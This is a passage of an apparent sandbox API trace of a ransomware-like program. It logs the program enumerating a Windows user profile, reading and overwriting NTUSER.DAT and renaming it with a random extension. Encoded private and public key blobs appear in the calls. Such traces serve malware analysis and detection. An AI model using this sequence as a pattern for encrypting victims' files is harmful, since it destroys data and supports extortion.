ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0125.486] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0125.486] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.486] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000)) returned 1 [0125.495] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat")) returned 0x2026 [0125.495] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT", dwFileAttributes=0x80) returned 1 [0125.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.498] GetCurrentThreadId () returned 0xa30 [0125.498] GetCurrentThreadId () returned 0xa30 [0125.498] GetCurrentThreadId () returned 0xa30 [0125.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.499] GetCurrentThreadId () returned 0xa30 [0125.499] GetCurrentThreadId () returned 0xa30 [0125.499] GetCurrentThreadId () returned 0xa30 [0125.499] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0125.500] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0125.500] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0125.500] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xc0000 [0125.500] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0125.500] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eed0000 [0125.501] ReadFile (in: hFile=0x120, lpBuffer=0x7eed0010, nNumberOfBytesToRead=0xc0000, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x7eed0010*, lpNumberOfBytesRead=0x18f96c*=0xc0000, lpOverlapped=0x0) returned 1 [0125.534] CloseHandle (hObject=0x120) returned 1 [0125.534] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee00000 [0125.541] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed20000 [0125.598] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0125.619] WriteFile (in: hFile=0x120, lpBuffer=0x7ee00010*, nNumberOfBytesToWrite=0xc0000, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x7ee00010*, lpNumberOfBytesWritten=0x18f978*=0xc0000, lpOverlapped=0x0) returned 1 [0125.652] CloseHandle (hObject=0x120) returned 1 [0125.652] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.Zv7uN" (normalized: "c:\\users\\default\\ntuser.dat.zv7un")) returned 1 [0125.654] VirtualFree (lpAddress=0x7eed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.664] VirtualFree (lpAddress=0x7ee00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.673] VirtualFree (lpAddress=0x7ed20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] GetCurrentThreadId () returned 0xa30 [0125.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0125.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0125.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0125.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, 